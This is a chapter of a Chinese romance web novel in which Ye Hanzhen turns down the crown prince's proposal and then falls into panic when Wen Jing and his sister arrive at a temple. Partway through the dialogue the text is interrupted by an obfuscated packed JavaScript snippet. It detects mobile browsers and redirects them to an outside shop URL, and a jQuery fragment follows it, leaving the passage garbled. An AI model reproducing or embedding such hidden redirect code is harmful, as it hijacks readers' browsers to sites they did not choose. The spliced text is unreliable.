40. 抄家灭族
作品:《闻珠识玉美人泪》 沈俞静闻言,背光面向神色慌张的叶含珍,启唇道:“孤只是觉得她可能还活着,不想放弃任何一个机会。”
“孤年前与叶侍郎聊过求娶你的事,不过他婉拒了孤,孤却想着还是要问问你的意思,若是你愿意嫁给孤为妃,那孤就是赴汤蹈火,也要父皇赐下你我的婚事,已全当年的约定。”
叶含珍瞬间握紧了扶手,紧张道:“若我不愿意嫁给殿下呢?而且我根本就不是白四小姐。”
别说她本就不是那位白四小姐,就算退一万步,她就是那位白四小姐,如今也嫁不得他了。
原因无他,只是她已是残花败柳,实在配不上眼前温润俊雅的沈俞静。
沈俞静:“孤不是拿你当做她,只是有些事情,孤还需要时间去查清楚,等孤查清楚了,就会让父皇下赐婚圣旨,孤如今只是想让你不那么怕孤而已。”
叶孝义那边,他已经派人去查当年长随侯府覆灭时,他人到底在哪里。
沈俞静眼下只查到叶孝义此人,不仅是李太傅的门生,居然与他舅舅白锋是同窗,这些联系起来,不得不让他多想。
“恳请殿下收回成命,”叶含珍“扑通”一声跪在地上,“小女姓叶,自小在临州长大,不是白四小姐,也无法替她嫁给殿下,还请殿下另觅佳偶。”
“你不愿意,是因为你觉得孤拿你当做白四吗?”
叶含珍仰头道:“我是不是殿下口中的故人,都不能嫁给殿下。”
她坚决的模样,倒让沈俞静一愣,“叶小姐讨厌孤吗?”
听到叶含珍话里的拒绝之意,沈俞静的声音不免有些大。
惊得窗外原本悠然漫步在枯枝上的鸟雀,不由拍着翅膀盘旋离去,只留下微微颤动的枝头还停留在眼前。
“不瞒叶小姐,孤自那日梅花宴后,就对小姐念念不忘。就算你真的不是孤期盼的故人,孤相信,我们之间的缘分也非同寻常。叶侍郎说你如今并没有婚约在身,何不考虑一下孤,做孤的太子妃?”
叶含珍此刻听闻他这番话,倒是有些轻松。她虽只是残花败柳之身,却也不愿意做他人的影子。
且太子话里话外,皆是坦诚相告,没有那人的一丝威逼利诱之意。
只是即便如此,她也必须彻底打消他的心思。
叶含珍恭敬地朝沈俞静磕了个头,“小女身份低微,礼数仪态有失,实在不堪为一国储妃,还请太子殿下收回成命。”
“你当真要这么决绝吗?”
沈俞静不可置信道,“孤保证,若你答应这婚事,大婚后,孤不会碰你。孤可以等,等你彻底愿意成为孤的妻子,咱们才做名副其实的夫妻。”
叶含珍很难去信他的保证,她只知道,今日一定要让太子彻底死心才行。
而就在她苦苦思量时,沈俞静却将她从地上扶起。
“地上凉,就算你不愿意嫁给孤,也还是先站起来回话吧。”
叶含珍却像是被吓到一般,被他这动作惊得连连后退。直到小腿撞在椅子上,才吃痛得捂着受伤的地方轻呼。
“你没事吧?”沈俞静紧张道。
叶含珍摇头,“小女没事,缓一会就好了。”
“坐吧,坐下咱们慢慢说。”
沈俞静指着她身后的椅子道。
叶含珍依言落了坐,只是才坐下片刻,就有内侍进来禀告沈俞静,说郑国公世子携四小姐拜见。
闻景?
闻景怎么会在这里?
叶含珍瞬间有些慌乱起来,连小腿上还未完全消退的痛都顾不上,就要向沈俞静请辞离开。
沈俞静不知想到了什么,只收起桌案上的两只玉佩,“这玉佩孤先借来一用,过段时间再还给你。”
“叶小姐,你很怕闻景吗?只是听到他要进来见孤,就急匆匆离开。”
“没、我没有怕他。”叶含珍嗫喏道,只是脸上慌乱的神色,却骗不过沈俞静的眼睛。
她哪里是怕他?
她明明就是恨不得将自己藏在这地砖缝隙里。或者,此刻肋下长出一对翅羽来,即刻飞出窗外。
冷静,叶含珍。
你们已经没有关系了,他来这里,也只是因为太子在这里。
叶含珍努力克制身上的热意,倏然化作冷汗,只是她越压抑自己内心的忧惧,那寒意便从脚下如毒蛇般窜入身体。
“是孤开的窗户,冷到叶小姐了吗?”
沈俞静不明白原本还决绝的女子,这会像是看见什么令她恐惧的东西,吓得唇色都失了血色。
他几步跨至窗边,就将那敞开的窗户闭得严严实实。
又提起茶炉上的壶,给叶含珍喝过的茶盏里续了些热茶。
直到水声静止,沈俞静才向还等候命令的内侍道:“去请他们进来。”
闻景踏入禅房,第一眼就落在坐在椅子上那抹鹅黄绵裙,雪白狐裘的纤细身影上。
温暖的日光顺着窗棂缝隙,迤逦在她周身,比大殿里那座金塑的佛像,还让人忍不住跪下祈祷。
青眉樱唇,眸若星子。
就连乌发间温润流彩的珍珠,也不如她半毫。
他有些日子未见她,此时猛然近距离见到人,忽有些莫名想笑。
原来,自己这么想她。
“臣闻景,参见太子殿下,太子殿下千岁千岁千千岁。”
闻景拱手行礼道。
“臣女闻菲,给太子殿下请安。”
“都起来吧,”沈俞静和煦笑着,指着一旁的椅子,“难得在此处遇见你们兄妹俩,快坐下烤烤火。”
叶含珍见兄妹俩给太子行完礼,起身屈膝道:“见过闻世子,闻四小姐。”
“殿下面前,叶小姐不必多礼,”闻景指着闻菲道,“自那日叶小姐赢了那绿萼梅后,菲儿就每日闹着要去侍郎府寻你,想细赏赏那两盆梅花,不知可方便?”
梅花?
叶含珍听闻景提起梅花宴上,他们赢来的珍贵梅花,一瞬间就要以为闻景是故意来寻她麻烦的。
早在回府的第二日,她就让人将那两盆梅花都丢了出去。
“是啊是啊!叶姐姐,我好想你啊!”
闻菲撒娇附和道,眉间尽是未经人事的天真烂漫。
沈俞静见叶含珍神色僵滞,只咬着嘴唇,并不回答闻菲,转头向目光灼灼的闻景。
“都坐下再说话吧。小乌,给闻世子和闻四小姐上茶。”
“是。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143237|193891||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“多谢太子殿下。”
闻景朝沈俞静拱手谢过后,撩起衣袍,在叶含珍对面的椅子上坐下。闻菲却走向叶含珍,在她一旁的椅子上落座。
内侍领命而去,很快就给闻景和闻菲兄妹俩,奉上热茶。
“你们怎么今日也来保国寺了?还晓得孤也在这里?”
“回禀殿下,臣与妹妹今日本是陪着母亲来进香礼佛的,只是在后殿遇见殿下身边伺候的内侍,正与知客僧交代些什么,才知殿下也在寺里,不敢不来向太子请安。只是这会母亲有些劳累,已经在禅房歇下,故让闻景向太子殿下告罪,请恕她晚些再来与殿下行礼。”
沈俞静:“姑姑既然在寺里礼佛,也应该是孤这个晚辈与她行礼,怎敢劳动她?待姑姑起身时,孤就去向姑姑问安。”
“叶姐姐,你怎么不理菲儿呀?”
“没有,”叶含珍含糊其辞,“我只是在想那两盆梅花,已经被府上毛手毛脚的小丫头打翻,却不知闻四小姐还惦念着它们,这该如何是好?”
“原来叶姐姐是在担心这个?”
闻菲嫣然一笑,调皮得眨了眨眼,“没关系,就算没有梅花,妹妹也很乐意寻叶姐姐一同玩耍。”
她很喜欢这个叶姐姐,说不上来的喜欢。
比喜欢她三姐闻雅还多些。
“菲儿和叶小姐很熟吗?”
沈俞静打量着两位妙龄女子,神思不得不往之前的传闻去想。
“不熟。”
“很熟!”
两个不和谐的声音一齐响起,逼得沈俞静越发怀疑。她拒绝自己,就是因为她……和闻景之间的关系吗?
那他们究竟眼下是何种关系?沈俞静暗暗揣测。
闻景从进来到坐下,眼神都不曾离开过叶含珍苍白的面庞。
她面颊比先前圆润了些,只是在见到他后,瞬间褪去了血色,连眼神都有些不自然得回避。
甚至比以前更怕自己。这是闻景得出的结论。
其实闻景猜的没错,眼下这会还能勉强端坐在人前的叶含珍,其实心思早就混乱起来。
就在内侍通报的那一刻,叶含珍就失去了全部力气。
至于她还能当着沈俞静的面,向闻景和闻菲见礼,也只是因为她仅剩下的本能反应。
“回殿下,臣从临州回京复命时,曾受叶大人所托,带着叶小姐一路到了京城,替叶小姐寻医问药。这一来二去嘛,菲也儿见过叶小姐,只是叶小姐为人谦和,想来她说与菲儿不熟,也只是不好让殿下误会。”
闻景信手拈来吐出一段搪塞之言,又面不改色得朝已经完全呆滞的叶含珍挑眉一笑:“叶小姐,在下方才说的可对?”
闻景潦潦几句貌似坦然的话,让沈俞静不禁暗中舒了口气。
不错,叶家父子是年前从临州才升迁进京的,而闻景也是从临州大战归来。他与他们父子相识一场,难保闻景不会帮这个忙。
原来坊间的传闻,也做不得真。
“是,闻四小姐身份尊贵,小女不敢胡攀。”
叶含珍强作镇静道。
既然闻景没有打算要捅出他们二人之间的关系,她又何必要上赶着揭露自己?

